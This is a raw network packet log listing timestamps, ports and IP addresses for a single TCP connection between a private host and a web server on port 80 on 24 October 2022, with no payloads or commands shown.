Oct 24, 2022 11:00:50.340713024 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340738058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340763092 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340763092 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340789080 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340801954 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340812922 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340838909 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340864897 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340869904 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340888023 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340914011 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340938091 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340939045 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340956926 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.340965033 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.340992928 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341018915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341020107 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341047049 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341063976 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341074944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341103077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341114998 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341130972 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341157913 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341173887 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341185093 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341211081 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341239929 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341264963 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341269970 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341299057 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341301918 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341320992 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341348886 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341356039 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341375113 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341404915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341407061 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341430902 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341453075 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341456890 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341483116 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341501951 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341506958 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341532946 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341557980 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341562986 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341626883 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341655016 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341667891 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341682911 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341708899 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341708899 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341734886 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341758966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341768980 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341784954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341800928 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341809034 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341835022 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341856003 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341860056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341886997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341900110 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341913939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341941118 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341953993 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.341965914 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.341989994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342005968 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342015028 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342040062 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342057943 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342063904 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342087030 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342113972 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342118979 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342142105 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342159986 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342168093 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342194080 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342212915 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342216969 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342243910 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342267036 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342267990 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342293978 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342318058 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342320919 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342351913 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342371941 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342377901 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342405081 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342406988 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342427969 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342431068 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342447042 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342457056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342475891 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342483044 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342502117 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342509031 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342520952 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342535019 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342552900 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342567921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342581034 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342595100 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342613935 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342622042 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342638016 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342647076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342667103 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342674017 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342689037 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342699051 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342726946 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342734098 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342744112 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342756033 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342767954 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342787981 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342803001 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342813969 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342832088 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342839003 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342861891 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342869043 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342900991 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342921019 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342928886 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342950106 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342971087 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.342979908 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.342999935 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343003988 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343018055 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343030930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343048096 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343055964 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343075991 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343085051 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343089104 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343106985 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343112946 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343131065 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343139887 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343172073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343174934 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343199015 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343205929 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343235970 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343251944 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343266010 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343269110 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343297958 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343301058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343313932 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343327999 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343344927 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343353987 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343369961 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343379974 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343394995 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343409061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343430042 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343436003 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343453884 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343461990 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343472004 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343488932 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343513966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343519926 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343539953 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343540907 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343560934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343581915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343600988 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343628883 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343652964 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343657970 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343684912 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343687057 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343702078 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343712091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.343732119 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.343750000 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.364757061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.364799976 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.364830017 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.364861965 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.364886045 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.364892006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.364921093 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.364923954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.364939928 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.364964008 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365185976 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365221024 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365250111 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365252018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365263939 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365283966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365298986 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365314007 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365324974 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365343094 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365355015 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365372896 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365385056 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365401983 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365412951 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365431070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365449905 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365461111 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365473032 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365492105 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365500927 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365523100 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365531921 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365555048 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365570068 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365586042 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365593910 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365616083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365627050 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365645885 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365657091 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365675926 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365686893 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365705013 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365715027 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365734100 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365742922 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365762949 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365775108 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365791082 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365819931 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365825891 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365849018 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365849972 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365858078 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365878105 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365890026 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365907907 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365925074 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365936995 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365947962 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365967035 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.365976095 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.365997076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366003036 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366024971 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366040945 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366055012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366070986 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366086006 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366096973 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366117001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366130114 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366146088 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366156101 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366173983 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366183043 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366208076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366216898 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366238117 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366246939 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366266966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366275072 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366295099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366303921 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366322994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366333008 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366353035 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366369963 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366380930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366391897 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366410017 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366419077 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366439104 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366446972 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366470098 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366476059 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366503000 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366507053 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366532087 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366538048 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366565943 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366579056 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366596937 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366615057 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366626024 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366636038 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366655111 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366662025 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366683960 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366693020 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366714001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366722107 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366741896 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366753101 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366772890 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366784096 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366805077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366813898 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366833925 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366842031 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366863012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366871119 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366906881 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366919041 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366935015 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366950035 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366965055 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.366975069 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.366991997 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367007971 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367021084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367033005 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367050886 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367058992 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367079973 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367089987 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367109060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367119074 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367136955 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367147923 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367165089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367176056 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367193937 CEST	80	49719	131.188.40.189	192.168.2.3
